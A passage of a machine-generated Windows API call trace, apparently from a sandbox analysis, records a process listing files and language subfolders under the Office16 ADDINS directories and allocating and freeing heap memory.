cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0279.566] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42b29f3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0279.566] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x865a7d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0279.567] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a3ee57, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a3ee57, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0279.567] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a3ee57, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a3ee57, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0279.568] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0279.573] GetProcessHeap () returned 0xaf0000 [0279.579] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0279.579] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0279.580] GetProcessHeap () returned 0xaf0000 [0279.580] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0279.580] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0279.581] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.581] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa25d2ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2f5c0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0279.581] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1698075, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1698075, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0279.582] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6297232, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6297232, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6297232, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0279.582] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x670f8d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x88040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0279.582] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x670f8d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x88040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0279.582] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0279.583] GetProcessHeap () returned 0xaf0000 [0279.583] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0279.583] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6cde4ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c2b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Spatial.NetFX35.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0279.583] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d2b978, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Mvc.dll", cAlternateFileName="SYSTEM~2.DLL")) returned 1 [0279.583] GetProcessHeap () returned 0xaf0000 [0279.583] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0279.583] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1860d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0279.586] GetProcessHeap () returned 0xaf0000 [0279.586] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0279.586] GetProcessHeap () returned 0xaf0000 [0279.586] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0279.586] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0279.590] GetProcessHeap () returned 0xaf0000 [0279.590] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0279.590] GetProcessHeap () returned 0xaf0000 [0279.590] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0279.590] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0279.593] GetProcessHeap () returned 0xaf0000 [0279.593] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0279.593] GetProcessHeap () returned 0xaf0000 [0279.593] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0279.593] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0279.596] GetProcessHeap () returned 0xaf0000 [0279.596] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0279.596] GetProcessHeap () returned 0xaf0000 [0279.596] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0279.596] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0279.599] GetProcessHeap () returned 0xaf0000 [0279.599] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0279.599] GetProcessHeap () returned 0xaf0000 [0279.599] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0279.599] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0279.601] GetProcessHeap () returned 0xaf0000 [0279.601] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0279.601] GetProcessHeap () returned 0xaf0000 [0279.602] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a6270 | out: hHeap=0xaf0000) returned 1 [0279.603] GetProcessHeap () returned 0xaf0000 [0279.603] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0279.604] GetProcessHeap () returned 0xaf0000 [0279.604] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0279.605] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf016e209, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0279.607] GetProcessHeap () returned 0xaf0000 [0279.607] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0279.607] GetProcessHeap () returned 0xaf0000 [0279.607] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0279.608] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0279.608] GetProcessHeap () returned 0xaf0000 [0279.608] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0279.608] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0279.610] GetProcessHeap () returned 0xaf0000 [0279.610] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0279.611] GetProcessHeap () returned 0xaf0000 [0279.611] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0279.611] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0279.868] GetProcessHeap () returned 0xaf0000 [0279.868] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0279.868] GetProcessHeap () returned 0xaf0000 [0279.868] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0279.868] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0279.871] GetProcessHeap () returned 0xaf0000 [0279.871] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0279.871] GetProcessHeap () returned 0xaf0000 [0279.871] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0279.871] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0279.874] GetProcessHeap () returned 0xaf0000 [0279.874] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0279.874] GetProcessHeap () returned 0xaf0000 [0279.874] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0279.874] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0279.877] GetProcessHeap () returned 0xaf0000 [0279.877] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0279.877] GetProcessHeap () returned 0xaf0000 [0279.877] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0279.878] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0279.880] GetProcessHeap () returned 0xaf0000 [0279.880] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0279.881] GetProcessHeap () returned 0xaf0000 [0279.881] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0279.881] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0279.883] GetProcessHeap () returned 0xaf0000 [0279.883] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0279.883] GetProcessHeap () returned 0xaf0000 [0279.883] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0279.883] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0279.886] GetProcessHeap () returned 0xaf0000 [0279.886] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0279.887] GetProcessHeap () returned 0xaf0000 [0279.887] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0279.887] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0279.889] GetProcessHeap () returned 0xaf0000 [0279.890] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0279.890] GetProcessHeap () returned 0xaf0000 [0279.890] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0279.890] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0279.895] GetProcessHeap () returned 0xaf0000 [0279.895] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, 